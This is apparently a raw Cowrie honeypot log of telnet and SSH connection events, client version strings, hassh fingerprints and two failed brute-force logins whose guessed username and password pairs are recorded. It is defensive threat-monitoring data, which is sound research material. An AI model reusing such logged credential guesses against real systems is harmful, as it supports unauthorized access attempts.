{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:51.778603Z","src_ip":"202.125.94.71","session":"6ab8c24c4317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43526,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d94046d090a","protocol":"telnet","message":"New connection: 213.129.84.225:43526 (159.203.135.109:23) [session: 0d94046d090a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:52.264889Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb6d604a36e","protocol":"telnet","message":"New connection: 137.184.155.248:55844 (10.17.0.5:23) [session: edb6d604a36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:53.532424Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a0275a500a","protocol":"telnet","message":"New connection: 137.184.155.248:55846 (10.17.0.5:23) [session: 52a0275a500a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:53.753798Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39002,"dst_ip":"159.203.135.109","dst_port":23,"session":"0980a976d216","protocol":"telnet","message":"New connection: 213.129.84.225:39002 (159.203.135.109:23) [session: 0980a976d216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:54.518007Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43282,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb488f3b41cd","protocol":"telnet","message":"New connection: 213.129.84.225:43282 (159.203.135.109:23) [session: eb488f3b41cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:55.432904Z"}
{"eventid":"cowrie.session.closed","duration":3.8668155670166016,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:57.620475Z","src_ip":"137.184.155.248","session":"52a0275a500a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.15866756439209,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:11:58.483330Z","src_ip":"137.184.155.248","session":"da42f026a187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969735383987427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:00.254667Z","src_ip":"213.129.84.225","session":"d09decd82bf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41298,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c97732e62d4","protocol":"telnet","message":"New connection: 213.129.84.225:41298 (159.203.135.109:23) [session: 9c97732e62d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:00.940928Z"}
{"eventid":"cowrie.session.closed","duration":30.743812799453735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:01.096653Z","src_ip":"213.129.84.225","session":"3338cbc49bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.749655961990356,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:03.102953Z","src_ip":"137.184.155.248","session":"7a9dbeca20a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48666,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ba22e7d701","protocol":"telnet","message":"New connection: 137.184.155.248:48666 (10.17.0.5:23) [session: 41ba22e7d701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:07.585304Z"}
{"eventid":"cowrie.session.closed","duration":31.13295865058899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:10.793392Z","src_ip":"213.129.84.225","session":"5ccb2d41095c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":48372,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a0eed0e66a1","protocol":"ssh","message":"New connection: 58.186.20.101:48372 (10.17.0.5:22) [session: 0a0eed0e66a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:11.937741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:11.942602Z","src_ip":"58.186.20.101","session":"0a0eed0e66a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:12.186468Z","src_ip":"58.186.20.101","session":"0a0eed0e66a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"pass","message":"login attempt [gmodserver/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:13.195248Z","src_ip":"58.186.20.101","session":"0a0eed0e66a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:14.441587Z","src_ip":"58.186.20.101","session":"0a0eed0e66a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46004,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3023f0230ef","protocol":"telnet","message":"New connection: 137.184.155.248:46004 (10.17.0.5:23) [session: e3023f0230ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:15.203282Z"}
{"eventid":"cowrie.session.closed","duration":46.67643737792969,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:15.421215Z","src_ip":"137.184.155.248","session":"1e70b75bf1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a6b6ad755e","protocol":"telnet","message":"New connection: 213.129.84.225:33374 (159.203.135.109:23) [session: 21a6b6ad755e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:15.752855Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46020,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59f8a2ab3c1","protocol":"telnet","message":"New connection: 137.184.155.248:46020 (10.17.0.5:23) [session: e59f8a2ab3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:19.304483Z"}
{"eventid":"cowrie.session.closed","duration":30.791780710220337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:23.056532Z","src_ip":"213.129.84.225","session":"0d94046d090a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"83218394105b","protocol":"telnet","message":"New connection: 213.129.84.225:35036 (159.203.135.109:23) [session: 83218394105b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:24.466679Z"}
{"eventid":"cowrie.session.closed","duration":30.684582710266113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:25.202473Z","src_ip":"213.129.84.225","session":"0980a976d216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651129007339478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:26.083935Z","src_ip":"213.129.84.225","session":"eb488f3b41cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47802,"dst_ip":"159.203.135.109","dst_port":23,"session":"213b3dd37fa0","protocol":"telnet","message":"New connection: 213.129.84.225:47802 (159.203.135.109:23) [session: 213b3dd37fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:27.388776Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46250,"dst_ip":"10.17.0.5","dst_port":23,"session":"4345203152cf","protocol":"telnet","message":"New connection: 137.184.155.248:46250 (10.17.0.5:23) [session: 4345203152cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:29.890978Z"}
{"eventid":"cowrie.session.closed","duration":30.19831418991089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:31.139139Z","src_ip":"213.129.84.225","session":"9c97732e62d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46264,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8a5369c5b1","protocol":"telnet","message":"New connection: 137.184.155.248:46264 (10.17.0.5:23) [session: de8a5369c5b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:32.187632Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51386,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f33417094d7","protocol":"telnet","message":"New connection: 213.129.84.225:51386 (159.203.135.109:23) [session: 6f33417094d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:34.411585Z"}
{"eventid":"cowrie.session.closed","duration":42.048741579055786,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:35.581050Z","src_ip":"137.184.155.248","session":"edb6d604a36e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca98d3bcddd6","protocol":"telnet","message":"New connection: 213.129.84.225:58256 (159.203.135.109:23) [session: ca98d3bcddd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:35.832576Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"194cfac74c91","protocol":"telnet","message":"New connection: 137.184.155.248:44760 (10.17.0.5:23) [session: 194cfac74c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:40.552443Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"29c70cc26bfc","protocol":"telnet","message":"New connection: 213.129.84.225:32868 (159.203.135.109:23) [session: 29c70cc26bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:43.595628Z"}
{"eventid":"cowrie.session.closed","duration":30.49196147918701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:46.244686Z","src_ip":"213.129.84.225","session":"21a6b6ad755e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":52386,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef8dc1cf8f8b","protocol":"ssh","message":"New connection: 202.125.94.71:52386 (159.203.135.109:22) [session: ef8dc1cf8f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:49.780898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:49.786757Z","src_ip":"202.125.94.71","session":"ef8dc1cf8f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:50.051238Z","src_ip":"202.125.94.71","session":"ef8dc1cf8f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92649459838867,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:50.511722Z","src_ip":"137.184.155.248","session":"41ba22e7d701","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wb@123456789","message":"login attempt [root/Wb@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:51.139266Z","src_ip":"202.125.94.71","session":"ef8dc1cf8f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:52.405517Z","src_ip":"202.125.94.71","session":"ef8dc1cf8f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25c3fda1d4e","protocol":"telnet","message":"New connection: 137.184.155.248:60652 (10.17.0.5:23) [session: e25c3fda1d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:54.041921Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35044,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa457c3cd9f","protocol":"telnet","message":"New connection: 213.129.84.225:35044 (159.203.135.109:23) [session: daa457c3cd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:55.565513Z"}
{"eventid":"cowrie.session.closed","duration":31.15695834159851,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:55.623498Z","src_ip":"213.129.84.225","session":"83218394105b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782819271087646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:58.171480Z","src_ip":"213.129.84.225","session":"213b3dd37fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47946,"dst_ip":"159.203.135.109","dst_port":23,"session":"90bbb14a4a97","protocol":"telnet","message":"New connection: 213.129.84.225:47946 (159.203.135.109:23) [session: 90bbb14a4a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:12:58.340815Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0151de2a7f5","protocol":"telnet","message":"New connection: 213.129.84.225:35410 (159.203.135.109:23) [session: e0151de2a7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:01.827672Z"}
{"eventid":"cowrie.session.closed","duration":48.898008823394775,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:04.101145Z","src_ip":"137.184.155.248","session":"e3023f0230ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649508476257324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:05.061015Z","src_ip":"213.129.84.225","session":"6f33417094d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.215197563171387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:06.047633Z","src_ip":"213.129.84.225","session":"ca98d3bcddd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.9483904838562,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:06.252730Z","src_ip":"137.184.155.248","session":"e59f8a2ab3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60902,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb554cdea25b","protocol":"telnet","message":"New connection: 213.129.84.225:60902 (159.203.135.109:23) [session: eb554cdea25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:07.444764Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaf873c6beeb","protocol":"telnet","message":"New connection: 213.129.84.225:36986 (159.203.135.109:23) [session: aaf873c6beeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:09.467903Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d60f9b73c255","protocol":"telnet","message":"New connection: 213.129.84.225:45590 (159.203.135.109:23) [session: d60f9b73c255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:10.480716Z"}
{"eventid":"cowrie.session.closed","duration":30.46836280822754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:14.063873Z","src_ip":"213.129.84.225","session":"29c70cc26bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53606,"dst_ip":"159.203.135.109","dst_port":23,"session":"c60bd0a3ef04","protocol":"telnet","message":"New connection: 213.129.84.225:53606 (159.203.135.109:23) [session: c60bd0a3ef04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:14.281504Z"}
{"eventid":"cowrie.session.closed","duration":46.33574652671814,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:16.226575Z","src_ip":"137.184.155.248","session":"4345203152cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46294,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2762e9cf98a","protocol":"telnet","message":"New connection: 213.129.84.225:46294 (159.203.135.109:23) [session: c2762e9cf98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:16.962222Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47928,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa826cffe21e","protocol":"telnet","message":"New connection: 213.129.84.225:47928 (159.203.135.109:23) [session: aa826cffe21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:17.364779Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50672,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a4f436df90","protocol":"telnet","message":"New connection: 213.129.84.225:50672 (159.203.135.109:23) [session: d2a4f436df90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:17.997178Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52618,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fbf0452230c","protocol":"telnet","message":"New connection: 213.129.84.225:52618 (159.203.135.109:23) [session: 4fbf0452230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:18.463844Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56434,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd71b24396c","protocol":"telnet","message":"New connection: 137.184.155.248:56434 (10.17.0.5:23) [session: dfd71b24396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:18.697535Z"}
{"eventid":"cowrie.session.closed","duration":48.252158880233765,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:20.439698Z","src_ip":"137.184.155.248","session":"de8a5369c5b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46640,"dst_ip":"159.203.135.109","dst_port":23,"session":"80a1176d22d3","protocol":"telnet","message":"New connection: 213.129.84.225:46640 (159.203.135.109:23) [session: 80a1176d22d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:24.659196Z"}
{"eventid":"cowrie.session.closed","duration":31.226881980895996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:26.792261Z","src_ip":"213.129.84.225","session":"daa457c3cd9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.41143584251404,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:26.963761Z","src_ip":"137.184.155.248","session":"194cfac74c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34676,"dst_ip":"159.203.135.109","dst_port":23,"session":"dde6bcb3a154","protocol":"telnet","message":"New connection: 213.129.84.225:34676 (159.203.135.109:23) [session: dde6bcb3a154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:27.428713Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ddc27ad1b1f","protocol":"telnet","message":"New connection: 137.184.155.248:38858 (10.17.0.5:23) [session: 7ddc27ad1b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:28.868789Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39084,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa6eba34bab","protocol":"telnet","message":"New connection: 213.129.84.225:39084 (159.203.135.109:23) [session: 1aa6eba34bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:29.435138Z"}
{"eventid":"cowrie.session.closed","duration":31.389715433120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:29.730437Z","src_ip":"213.129.84.225","session":"90bbb14a4a97","protocol":"telnet"}
